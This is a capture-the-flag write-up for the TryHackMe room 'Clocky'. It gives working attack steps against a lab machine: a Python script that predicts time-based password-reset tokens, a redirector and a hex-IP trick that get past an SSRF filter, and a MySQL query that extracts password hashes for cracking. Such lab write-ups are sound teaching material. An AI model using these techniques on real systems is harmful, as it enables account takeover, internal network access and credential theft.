TryHackMe - Clocky¶

Introduction¶

OS: Linux

URL: Clocky

Level: Medium

A Medium rated room. Involves code review, Time based token exploitation, SSRF and privilege escalation.

Recon¶

First we start Off with a Nmap Scan to check for open ports and services running on the machine.

console

nmap -sC -sV -oN nmap/all_ports -p- -v --min-rate=5000 $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d9:42:e0:c0:d0:a9:8a:c3:82:65:ab:1e:5c:9c:0d:ef (RSA)
| 256 ff:b6:27:d5:8f:80:2a:87:67:25:ef:93:a0:6b:5b:59 (ECDSA)
| 256 e1:2f:4a:f5:6d:f1:c4:bc:89:78:29:72:0c32:d2 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open http nginx 1.18.0 (Ubuntu)
| http-robots.txt: 3 disallowed entries
|/.sql$ /.zip$ /*.bak$
| http-methods:
| Supported Methods: GET HEAD POST
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http-proxy Werkzeug/2.2.3 Python/3.8.10
|_http-server-header: Werkzeug/2.2.3 Python/3.8.10
| http-methods:
| Supported Methods: HEAD GET OPTIONS
[..snip..]
|_http-title: Clocky

From Nmap Scan results we have 3 web servers running on ports 80, 8000, and 8080.

• Port 80 is running Apache. But seems to block all requests with a 403 Forbidden error.
• Port 8000 is running Nginx. Again seems to block all requests with a 403 Forbidden error. But we have a robots.txt file which has entries disallowing .sql, .zip, and .bak files.
• Port 8080 is running a Python web server.

From the disallowed entries in robots.txt we probably need to also scan for hidden files and directories.

Since the 8080 port is running a Python flask webserver we can skip file enumeration on it for now as in Flask you generally need to explicitly define the routes.

Flag 1¶

This involves the nginx server running on port 8000.

Since we know there is a robots.txt file we can try to access it.

And we have our first flag.

Flag 2¶

Let's run a Gobuster directory scan on port 8000 with the extensions from the robots.txt file.

We have a index.zip file. Let's download it and extract it.

And we have our second flag.

Flag 3¶

Inside the index.zip file we have a app.py file containing the source code for the Flask web server running on port 8080.

We can get a list of all the routes defined in the Flask app by checking the source code.

If we head over to the /administrator route we get a login page.

39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

@app.route("/administrator", methods=["GET", "POST"])
def administrator():
  if session.get("logged_in"):
    return render_template("admin.html")

  else:
    if request.method == "GET":
      return render_template("login.html")

    if request.method == "POST":
      user_provided_username = request.form["username"]
      user_provided_password = request.form["password"]


      try:
        with connection.cursor() as cursor:

          sql = "SELECT ID FROM users WHERE username = %s"
          cursor.execute(sql, (user_provided_username))

          user_id = cursor.fetchone()
          user_id = user_id["ID"]

          sql = "SELECT password FROM passwords WHERE ID=%s AND password=%s"
          cursor.execute(sql, (user_id, user_provided_password))

          if cursor.fetchone():
            session["logged_in"] = True
            return redirect("/dashboard", code=302)

      except:
        pass

      message = "Invalid username or password"
      return render_template("login.html", message=message)

From checking the source code we know that the login form is not vulnerable to SQL injection as the query params are not directly concatenated with the SQL query (this is the same for all the sql queries in the source so we can skip SQL injection attacks for all routes).

Next we can try the /forgot_password route.

 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107

# Work in progress (10/05-2023, jane)
# Is the db really necessary?
@app.route("/forgot_password", methods=["GET", "POST"])
def forgot_password():
  if session.get("logged_in"):
    return render_template("admin.html")

  else:
    if request.method == "GET":
      return render_template("forgot_password.html")

    if request.method == "POST":
      username = request.form["username"]
      username = username.lower()

      try:
        with connection.cursor() as cursor:

          sql = "SELECT username FROM users WHERE username = %s"
          cursor.execute(sql, (username))

          if cursor.fetchone():
            value = datetime.datetime.now()
            lnk = str(value)[:-4] + " . " + username.upper()
            lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
            sql = "UPDATE reset_token SET token=%s WHERE username = %s"
            cursor.execute(sql, (lnk, username))
            connection.commit()

      except:
        pass

      message = "A reset link has been sent to your e-mail"
      return render_template("forgot_password.html", message=message)

Looking at the highlited source code above. We can see that when you make a POST request to /forgot_password route with a valid username.

It generates a token by concatenating the current time and the username. Then hashes the string using sha1 and stores the token in the reset_token table in the database.

To exploit this we essentially need know the time and username, then we should be able to generate the token and reset the password.

Problems Problems Problems!¶

A Brief Overview of me spending hours and going crazy

There are two really difficult parts in generating the token.

• We have three usernames that we get from the comments in the source code jane, clarice and clocky_user from db_user variable.
• We need to know the exact time when the request was made with a two digit precision for milliseconds along with the timezone.

This was just made worse because there was no way to enumerate users to know that these usernames were valid. In fact they were not.

The username we need is administrator the only way you could know this is by either guessing it from looking at the route name or by looking at the H2 Banner

But brute forcing wasn't really a option here as the problem 2 makes it so that each username enumeration would atleast take anywhere from 4800-15000 plus requests.

I did close a million requests trying to enumerate the user. So to save you the trouble the username is administrator and the timezone is GMT +0. Which is the same as the time reported in the home page of the website.

Generating the token¶

Since the token generated depends on the time we need to know the time on the server.

When you make a request to the server the response header will contain the Date field which will give you the time on the server.

This has a precision upto the seconds mark and since the requests made takes less than a second. The time used by the server to generate the token will be the same as the time reported in the Date field.

But if we look at the output of str(datetime.datetime.now())[:-4] we see that the time is reported with a precision of 2 digits for milliseconds.

So we basically need to bruteforce the first two digits of the milliseconds to generate the token.

Let's script this to generate a wordlist of all possible tokens.

import datetime 
import hashlib

username = "administrator"

# time copied from the `Date` field in server response headers
server_response_time = "Mon, 01 Apr 2024 05:47:17 GMT"

# format of the time copied from the `Date` field in server response headers
server_response_format = "%a, %d %b %Y %H:%M:%S %Z"

# convert the time to a datetime object
request_time_datetime_obj = datetime.datetime.strptime(server_response_time, server_response_format)

for milli_seconds in range(100):
    # add the milliseconds to the time
    lnk = str(request_time_datetime_obj) + f".{milli_seconds:02d}" + " . " + username.upper()
    # generate the token
    lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
    print(lnk)

Just make sure to replace the server_response_time with the time from the Date field in the server response headers.

Finding the reset token param¶

Now that we have a list of possible tokens we can try to reset the password.

Let's head over to /password_reset route

We get Invalid Parameter error. Let's take a look at the code

110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137

# Done
@app.route("/password_reset", methods=["GET"])
def password_reset():
  if request.method == "GET":
    # Need to agree on the actual parameter here (12/05-2023, jane)
    if request.args.get("TEMPORARY"):
      # Not done (11/05-2023, clarice)
      # user_provided_token = request.args.get("TEMPORARY")

      try:
        with connection.cursor() as cursor:

          sql = "SELECT token FROM reset_token WHERE token = %s"
          cursor.execute(sql, (user_provided_token))
          if cursor.fetchone():
            return render_template(
              "password_reset.html", token=user_provided_token
            )

          else:
            return "<h2>Invalid token</h2>"

      except:
        pass

    else:
      return "<h2>Invalid parameter</h2>"
  return "<h2>Invalid parameter</h2>"

The code is expecting a parameter named TEMPORARY in the query string. But it's commented out.

If we try to access the route with the TEMPORARY parameter (/password_reset?TEMPORARY=test) we get Invalid parameter error again.

The comments in the code hint towards the parameter TEMPORARY potentially being the changed in the future, and it's possible that the code we have is an outdated version.

Now we need to again bruteforce the parameter to reset the password.

We can use ffuf and the SecLists burp-parameter-names.txt wordlist to bruteforce the parameter.

Resetting the password¶

Now that we know the parameter is token we can try to reset the password.

Send a POST request to /forgot_password with the username parameter set to administrator to generate the token. You can just do this in the browser but I recommend using burp as this will make it easier for us to get the Date field from the response headers.

Now update the time in the generate_tokens.py script with the time from the Date field in the response headers.

Let's generate a wordlist of all possible tokens using our generate_tokens.py script and use ffuf to bruteforce the token.

Now we can use this token to reset the password.

Now lets Login to the /administrator route with the username administrator and the new password you've set.

Finally, we have our third flag.

Flag 4¶

Notice that in the admin dashboard we have a Location field. But it doesn't say much about what it does.

Trying to put /etc/passwd in the Location field just gets us an empty file

Let's send this to burp repeater and play around with the request.

If you put a http request in the Location field it will make a request to the server and display the response.

If you remember all requests to port 80 and port 8000 were blocked. Maybe they're allowed when accessed from the server itself?.

SSRF¶

We can try to access the robots.txt file on the server by putting http://localhost:8000/robots.txt in the Location field.

64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

@app.route("/dashboard", methods=["GET", "POST"])
def dashboard():
  if session.get("logged_in"):
    if request.method == "POST":
      user_provided_url = request.form["location"]

      if "localhost" in user_provided_url:
        message = "Action not permitted"
        return render_template("admin.html", message=message)
      if "127" in user_provided_url:
        message = "Action not permitted"
        return render_template("admin.html", message=message)
      if "0.0.0.0" in user_provided_url:
        message = "Action not permitted"
        return render_template("admin.html", message=message)

Looks like there is a filter in place that blocks any requests that contain - localhost - 127 - 0.0.0.0

There are several ways to bypass this filtering.

This doc from HackTricks explains several ways.

I first wrote a redirect script in python

!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("Usage: {} <port_number> <url>".format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(302)
       self.send_header('Location', f"{sys.argv[2]}{self.path}")
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

and run this using the location we need to redirect to.

Now we can access the robots.txt file on the server by just requesting http://YOUR_VPN_IP:9000/robots.txt in the Location field.

But the / endpoint on port 8000 still gives a 403 Forbidden error.

Port 80 Apache Server¶

Let's try to see if Port 80 is accessible with SSRF.

$ python3 redirect.py 9000 http://localhost/

And we get a 200 OK response.

The title says it's a Internal dev storage but it doesn't list any files. We likely have to bruteforce the files again.

But since we are using python to redirect, and it's not multi-threaded it will likely be slow or even outright crash for few requests.

So let's try another way to bypass the filter.

If you read the article from HackTricks you'll see that we can also use the Hex representation of the IP address to make requests.

127.0.0.1 in Hex is 0x7f000001

So if we request http://0x7f000001/ we should be able to access the same Internal dev storage page.

Now that we have access to the Internal dev storage page we can try to bruteforce the files.

Bruteforcing the files¶

First we need to save the Burp request to a file. This will make it much easier to use with ffuf.

If you remember from the nmap scan results the robots.txt file disallowed .zip, .sql, and .bak files. So we will also add these extensions to the ffuf command.

We have a database.sql file. Let's download it and see what's inside.

We have our fourth flag.

Flag 5¶

The database.sql file contains two passwords. Let's try this password on the SSH service running on port 22.

Known Usernames:

• jane
• clarice
• clocky_user
• administrator
• root

One of the password works for the user clarice.

We have our fifth flag.

Flag 6¶

Now that we have access to the machine let's try to escalate our privileges.

Trying the passwords we know against root or jane doesn't work.

Since the code mentioned the database user password is in the .env file (load_dotenv()) we can look for it.

clarice has the source code for the app in ~/app directory. And the .env file is located at ~/app/.env.

We have the database password

Since we already know the database username is clocky_user we can try to access the database.

If you read through the database.sql file you'll see that clocky_user was granted all privileges on all the databases.

CREATE USER IF NOT EXISTS 'clocky_user'@'localhost' IDENTIFIED BY '!WE_LOVE_CLEARTEXT_DB_PASSWORDS!';
GRANT ALL PRIVILEGES ON *.* TO 'clocky_user'@'localhost' WITH GRANT OPTION;

CREATE USER IF NOT EXISTS 'clocky_user'@'%' IDENTIFIED BY '!WE_LOVE_CLEARTEXT_DB_PASSWORDS!';
GRANT ALL PRIVILEGES ON *.* TO 'clocky_user'@'%' WITH GRANT OPTION;

Due to this we can read all the password hashes from the mysql database.

mysql> use mysql;

Database changed

mysql> select Host, User, Authentication_string from user;

+-----------+------------------+------------------------------------------------------------------------+
| Host      | User             | Authentication_string                                                  |
+-----------+------------------+------------------------------------------------------------------------+
| %         | clocky_user      | $A$005$~g]5C]]hmVcZUf8oIT96B7VRZhQibsUhSe5eKbHm4Lq1ks8pzxDkNM9 |
/xuiN2%#pIV5@8=o1xaxXD13/Mh0rlloe/WqcmmaBDMF6r7wjvFGgoTSaB |
| localhost | clocky_user      | $A$005$cg▒|\>B^:
                                                 yCR0kSV+XwNDxm2lDD5W3J9551gjlVmOZ9Z9hH2Szailxm2VkL. |
| localhost | debian-sys-maint | $A$005$Ebh3▒N5a#f6HM?xF*uSqjNbbUYGitDq/yFLM8LbauDh83QtraQaETy6nZWtWc2 |
| localhost | dev              | $A$005$
8w|Q!N]rZX!mZ\?ok/WxQEdeRLNgqXpWEf4sJonZecawFUizD8FokeI5F. |
| localhost | mysql.infoschema | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| localhost | mysql.session    | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| localhost | mysql.sys        | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| localhost | root             |                                                                        |
+-----------+------------------+------------------------------------------------------------------------+

But this cannot directly be cracked. (read this issue for more details)

Hashcat Example Hashes page lists a method to get password hashes in a format that can be cracked.

SELECT user, CONCAT('$mysql', SUBSTR(authentication_string,1,3), LPAD(CONV(SUBSTR(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';

We can now get the hashes in a format that can be cracked.

mysql> SELECT user, CONCAT('$mysql', SUBSTR(authentication_string,1,3), LPAD(CONV(SUBSTR(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
+------------------+---------------------------------+
| user             | hash                                                                                                                                          |
+------------------+---------------------------------+
| clocky_user      | $mysql$A$0005*077E1  READACTED |
| dev              | $mysql$A$0005*0D172  READACTED |
| clocky_user      | $mysql$A$0005*63671  READACTED |
| debian-sys-maint | $mysql$A$0005*45626  READACTED |
| dev              | $mysql$A$0005*1C160  READACTED |
+------------------+---------------------------------+
5 rows in set (0.00 sec)

Save the hashes in a file and crack them using hashcat. Few minutes later you should have a cracked password.

We can try to su as root with the cracked password.

And we have our sixth flag and final flag. :)